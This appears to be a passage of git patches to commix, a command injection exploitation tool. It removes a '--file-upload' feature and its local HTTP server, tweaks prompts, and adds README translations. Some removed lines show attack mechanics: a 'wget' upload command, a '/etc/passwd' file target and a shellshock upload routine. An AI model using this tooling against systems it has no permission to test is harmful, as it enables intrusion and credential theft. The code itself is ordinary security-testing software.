minlen = 1 diff --git a/src/core/main.py b/src/core/main.py index a863e30c7b..ee1e4d920f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -496,14 +496,13 @@ def main(filename, url, http_request_method): raise SystemExit() # Check the file-destination - if menu.options.file_write and not menu.options.file_dest or \ - menu.options.file_upload and not menu.options.file_dest: - err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." + if menu.options.file_write and not menu.options.file_dest: + err_msg = "Host's absolute filepath to write, must be specified (i.e. '--file-dest')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: - err_msg = "You must enter the '--file-write' or '--file-upload' parameter." + if menu.options.file_dest and menu.options.file_write == None: + err_msg = "You must enter the '--file-write' parameter." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -522,18 +521,6 @@ def main(filename, url, http_request_method): password=password ) try: - # Check if defined "--file-upload" option. - if menu.options.file_upload: - menu.options.file_upload = os.path.abspath(menu.options.file_upload) - checks.file_upload() - try: - _urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.code))) - raise SystemExit() - except _urllib.error.URLError as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.reason) + ".")) - raise SystemExit() try: info_msg = "Performing heuristic (passive) tests on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -566,7 +553,6 @@ def main(filename, url, http_request_method): if menu.options.tamper: settings.USER_APPLIED_TAMPER = menu.options.tamper checks.tamper_scripts(stored_tamper_scripts=False) - except AttributeError: pass diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 487a8e6161..5ece1e0f5c 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -164,17 +164,6 @@ def file_access(url, cve, check_header, filename): checks.file_write_status(shell, dest_to_write) settings.FILE_ACCESS_DONE = True - if menu.options.file_upload: - cmd, dest_to_upload = checks.check_file_to_upload() - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - cmd = checks.remove_command_substitution(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - shell = "".join(str(p) for p in shell) - checks.file_upload_status(shell, dest_to_upload) - settings.FILE_ACCESS_DONE = True - if menu.options.file_read: cmd, file_to_read = checks.file_content_to_read() cmd = checks.remove_command_substitution(cmd) diff --git a/src/utils/menu.py b/src/utils/menu.py index 834a248944..a9883adc95 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -417,15 +417,10 @@ def banner(): dest="file_write", help="Write to a file on the target host.") -file_access.add_option("--file-upload", - action="store", - dest="file_upload", - help="Upload a file on the target host.") - file_access.add_option("--file-dest", action="store", dest="file_dest", - help="Host's absolute filepath to write and/or upload to.") + help="Host's absolute filepath to write to.") # Modules options modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL, @@ -753,7 +748,7 @@ def enumeration_options(): Check if file access options are enabled. """ def file_access_options(): - if any((options.file_write, options.file_upload, options.file_read)): + if any((options.file_write, options.file_read)): return True # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index aa2364cc26..2d6e88a1a9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -704,9 +704,6 @@ class OS(object): # Write file FILE_WRITE = "printf " -# Write file -FILE_UPLOAD = "wget " - # /etc/passwd PASSWD_FILE = "/etc/passwd" From 20794529a2bb307056f12571027bb3fbe6afb48d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 30 May 2026 12:20:52 +0300 Subject: [PATCH 0676/1023] The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 1 - src/core/main.py | 7 -- src/utils/settings.py | 8 +- src/utils/simple_http_server.py | 117 ----------------------- 5 files changed, 2 insertions(+), 132 deletions(-) delete mode 100644 src/utils/simple_http_server.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a373a5b885..b7b5aa6771 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed. * Revised: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. * Revised: Refactored `--time-sec` option to apply only to time-related techniques. * Revised: The deprecated `--tor-check` flag has been removed, and Tor connectivity is now handled internally with no separate check option. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 87b989a100..55426b9d43 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -33,7 +33,6 @@ from src.utils import logs from src.utils import menu from src.utils import settings -from src.utils import simple_http_server from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from socket import error as SocketError diff --git a/src/core/main.py b/src/core/main.py index ee1e4d920f..dd3b37a934 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -35,7 +35,6 @@ from src.utils import settings from src.core.requests import parameters from src.utils import session_handler -from src.utils import simple_http_server from src.thirdparty.colorama import Fore, Back, Style, init from src.core.testing import smoke_test from src.core.requests import tor @@ -820,12 +819,6 @@ def main(filename, url, http_request_method): warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - # Local IP address - if not menu.options.offline: - settings.LOCAL_HTTP_IP = simple_http_server.grab_ip_addr() - else: - settings.LOCAL_HTTP_IP = None - if menu.options.sitemap_url: settings.SITEMAP_CHECK = True diff --git a/src/utils/settings.py b/src/utils/settings.py index 2d6e88a1a9..5ccba5ffcf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -444,12 +444,6 @@ class OS(object): # Verbosity level (0-4, Default: 0) VERBOSITY_LEVEL = 0 -# Local HTTP server ip -LOCAL_HTTP_IP = "" - -# Local HTTP server port -LOCAL_HTTP_PORT = random.randint(50000,60000) - HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py deleted file mode 100644 index d0c978951b..0000000000 --- a/src/utils/simple_http_server.py +++ /dev/null @@ -1,117 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -import errno -import socket -from os import curdir, sep -from src.utils import menu -from src.utils import settings -from socket import error as socket_error -from src.thirdparty.colorama import Fore, Back, Style, init -from src.thirdparty.six.moves import _thread as thread -from src.thirdparty.six.moves import http_client as _http_client -from src.thirdparty.six.moves import socketserver as _socketserver -from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer - -""" -Validates IPv4 addresses. -""" -def is_valid_ipv4(ip_addr): - pattern = re.compile(r""" - ^ - (?: - # Dotted variants: - (?: - # Decimal 1-255 (no leading 0's) - [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} - | - 0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's) - | - 0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's) - ) - (?: # Repeat 0-3 times, separated by a dot - \. - (?: - [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} - | - 0x0*[0-9a-f]{1,2} - | - 0+[1-3]?[0-7]{0,2} - ) - ){0,3} - | - 0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff - | - 0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777 - | - # Decimal notation, 1-4294967295: - 429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}| - 42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}| - 4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8} - ) - $ - """, re.VERBOSE | re.IGNORECASE) - return pattern.match(ip_addr) is not None - -def grab_ip_addr(): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.connect(("8.8.8.8",53)) - s.settimeout(2) - ip_addr = s.getsockname()[0] - s.close() - return ip_addr - except socket_error as err_msg: - if errno.ECONNREFUSED: - warn_msg = "Internet seems unreachable." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - else: - settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) - raise SystemExit() - -class Handler(_BaseHTTPServer.BaseHTTPRequestHandler): - def do_GET(self): - try: - #Open the static file requested and send it - f = open(self.path) - self.send_response(_http_client.OK) - self.send_header(settings.CONNECTION, "close") - self.end_headers() - self.wfile.write(f.read().encode()) - return - - except Exception: - error_response = settings.APPLICATION + settings.SINGLE_WHITESPACE + settings.VERSION + " (https://commixproject.com)" - self.wfile.write(error_response.encode()) - - def log_message(self, format, *args): - return - -class ReusableTCPServer(_socketserver.TCPServer): - allow_reuse_address = True - -def main(): - try: - connection_refused = False - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - except socket_error: - if errno.ECONNREFUSED: - connection_refused = True - if connection_refused == False: - # Start the server in a background thread. - httpd = ReusableTCPServer(('', settings.LOCAL_HTTP_PORT), Handler) - thread.start_new_thread(httpd.serve_forever, ()) From c7f1447371524427bb30abe731235acc7386153b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 6 Jun 2026 08:17:59 +0300 Subject: [PATCH 0677/1023] Trivial update --- src/core/main.py | 2 ++ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index dd3b37a934..aeaa513fd8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -773,6 +773,8 @@ def main(filename, url, http_request_method): # Check if defined "--wizard" option. if menu.options.wizard: + info_msg = "Starting wizard interface." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) message = "Enter full target URL (-u) > " if menu.options.url: settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) diff --git a/src/utils/settings.py b/src/utils/settings.py index 5ccba5ffcf..623bfd1750 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8ad34549895b81fc926fa618202e6ec75fe9fd88 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 13 Jun 2026 08:35:54 +0300 Subject: [PATCH 0678/1023] Trivial update --- src/core/main.py | 7 +++---- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index aeaa513fd8..586afe13a1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -775,18 +775,17 @@ def main(filename, url, http_request_method): if menu.options.wizard: info_msg = "Starting wizard interface." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - message = "Enter full target URL (-u) > " + message = "Please enter full target URL (-u) > " if menu.options.url: settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) elif not menu.options.url and not settings.STDIN_PARSING: while True: - message = "Enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) if menu.options.url is None or len(menu.options.url) == 0: pass else: break - message = "Enter POST data (--data) [Enter for none] > " + message = "POST data (--data) [Enter for None] > " if settings.STDIN_PARSING or menu.options.data: settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) else: @@ -794,7 +793,7 @@ def main(filename, url, http_request_method): if menu.options.data is not None and len(menu.options.data) == 0: menu.options.data = False while True: - message = "Enter injection level (--level) [1-3, Default: 1] > " + message = "Injection difficulty (--level) [1-3, Default: 1] > " if settings.STDIN_PARSING: settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) break diff --git a/src/utils/settings.py b/src/utils/settings.py index 623bfd1750..5263d7fee3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bf8451166ca2882422a12f5fd77b8f3b1b704c0e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Jul 2026 08:17:30 +0300 Subject: [PATCH 0679/1023] Added French translation of README.md --- README.md | 1 + doc/CHANGELOG.md | 1 + doc/translations/README-fr-FR.md | 46 ++++++++++++++++++++++++++++++++ 3 files changed, 48 insertions(+) create mode 100644 doc/translations/README-fr-FR.md diff --git a/README.md b/README.md index b3e3570022..f76de18315 100644 --- a/README.md +++ b/README.md @@ -44,6 +44,7 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations * [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) +* [French](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md) * [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) * [Turkish](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b7b5aa6771..53c16762bb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md). * Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed. * Revised: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. * Revised: Refactored `--time-sec` option to apply only to time-related techniques. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md new file mode 100644 index 0000000000..b8faccf20a --- /dev/null +++ b/doc/translations/README-fr-FR.md @@ -0,0 +1,46 @@ + +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + x +

+

+ + +**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command injection**](https://www.owasp.org/index.php/Command_Injection). + +![Screenshot](https://commixproject.com/images/background.png) + +Vous pouvez consulter la [**collection de captures d'écran**](https://github.com/commixproject/commix/wiki/Screenshots) présentant certaines fonctionnalités sur le wiki. + + +## Installation + +Vous pouvez télécharger commix sur n'importe quelle plateforme en clonant le dépôt Git officiel : + +``` +$ git clone https://github.com/commixproject/commix.git commix +``` + +Vous pouvez également télécharger la dernière [**archive tarball**](https://github.com/commixproject/commix/tarball/master) ou [**archive zipball**](https://github.com/commixproject/commix/zipball/master). + +**_Remarque :_** [**_Python_**](http://www.python.org/download/) _(version_ **_2.6_**_,_ **_2.7_** _ou_ **_3.x_**_) est requis pour exécuter commix._ + +## Utilisation + +Pour obtenir la liste de toutes les options et de tous les paramètres disponibles : + +``` +$ python commix.py -h +``` + +Pour obtenir un aperçu des options, paramètres et concepts de base de commix, consultez les pages du wiki [**Utilisation**](https://github.com/commixproject/commix/wiki/Usage), [**Exemples d'utilisation**](https://github.com/commixproject/commix/wiki/Usage-Examples) et [**Contournement des filtres**](https://github.com/commixproject/commix/wiki/Filters-Bypasses). + +## Liens + +- Manuel utilisateur : [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) +- Suivi des problèmes : [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) From 1c7ffd081f80bbeb4e74e141a5a2ace2fe362231 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Jul 2026 06:33:50 +0300 Subject: [PATCH 0680/1023] Trivial update --- doc/CHANGELOG.md | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 53c16762bb..60bb165af0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -86,7 +86,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). -* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish. (via @Kazgangap) +* Added: Turkish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) (via @Kazgangap). * Revised: Minor improvement regarding parsing SOAP/XML POST data. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._ @@ -95,7 +95,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). -* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) in Farsi(Persian) (via @verfosec) +* Added: Farsi(Persian) translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) (via @verfosec). * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. @@ -114,7 +114,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 3.7 (2023-02-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) in Indonesian (via @galihap76) +* Added: Indonesian translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) (via @galihap76). * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. `logout`). diff --git a/src/utils/settings.py b/src/utils/settings.py index 5263d7fee3..480b0e08ef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4237f46bc98269ae72d226d0b210029cbbc71ba2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Jul 2026 08:20:48 +0300 Subject: [PATCH 0681/1023] Added Spanish translation of README.md --- README.md | 4 +-- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 45 ++++++++++++++++++++++++++++++++ src/utils/settings.py | 2 +- 4 files changed, 49 insertions(+), 3 deletions(-) create mode 100644 doc/translations/README-es-ES.md diff --git a/README.md b/README.md index f76de18315..2248de4ba2 100644 --- a/README.md +++ b/README.md @@ -11,8 +11,8 @@ **Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. - ![Screenshot](https://commixproject.com/images/background.png) + You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki. ## Installation @@ -25,7 +25,6 @@ Alternatively, you can download the latest [tarball](https://github.com/commixpr *__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* - ## Usage To get a list of all options and switches use: @@ -47,4 +46,5 @@ To get an overview of commix available options, switches and/or basic ideas on h * [French](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md) * [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) +* [Spanish](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md) * [Turkish](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 60bb165af0..c503cb6224 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md). * Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md). * Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed. * Revised: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md new file mode 100644 index 0000000000..639f981512 --- /dev/null +++ b/doc/translations/README-es-ES.md @@ -0,0 +1,45 @@ + +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + x +

+

+ + +**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command injection](https://www.owasp.org/index.php/Command_Injection)**. + +![Screenshot](https://commixproject.com/images/background.png) + +Puede visitar la **[colección de capturas de pantalla](https://github.com/commixproject/commix/wiki/Screenshots)** que muestra algunas de las funcionalidades disponibles en el wiki. + +## Instalación + +Puede descargar commix en cualquier plataforma clonando el repositorio Git oficial: + +``` +$ git clone https://github.com/commixproject/commix.git commix +``` + +Alternativamente, puede descargar la última **[versión tarball](https://github.com/commixproject/commix/tarball/master)** o **[versión zipball](https://github.com/commixproject/commix/zipball/master)**. + +*__Nota:__ **[Python](http://www.python.org/download/)** (versión **2.6**, **2.7** o **3.x**) es necesario para ejecutar commix.* + +## Uso + +Para obtener una lista de todas las opciones y parámetros disponibles: + +``` +$ python commix.py -h +``` + +Para obtener una visión general de las opciones, parámetros y conceptos básicos de uso de commix, consulte las páginas del wiki **[Uso](https://github.com/commixproject/commix/wiki/Usage)**, **[Ejemplos de uso](https://github.com/commixproject/commix/wiki/Usage-Examples)** y **[Evasión de filtros](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**. + +## Enlaces + +- Manual de usuario: [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) +- Seguimiento de incidencias: [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 480b0e08ef..6b423a22eb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0d4f2f07725bf95978e94495b12fd6cb5874a3e8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 18 Jul 2026 08:54:32 +0300 Subject: [PATCH 0682/1023] Trivial update --- README.md | 2 +- doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/utils/settings.py | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 2248de4ba2..3ec25f81b3 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@

-**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. +**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://owasp.org/www-community/attacks/Command_Injection)** vulnerabilities. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 639f981512..07ceb7d37c 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -11,7 +11,7 @@

-**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index afeedcfe05..12065c964b 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -9,7 +9,7 @@

-**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. +**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://owasp.org/www-community/attacks/Command_Injection)** را خودکار می‌کند. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index b8faccf20a..ab04d745a4 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -11,7 +11,7 @@

-**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command injection**](https://www.owasp.org/index.php/Command_Injection). +**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command injection**](https://owasp.org/www-community/attacks/Command_Injection). ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index efd183a1e1..70c8286cd3 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -9,7 +9,7 @@

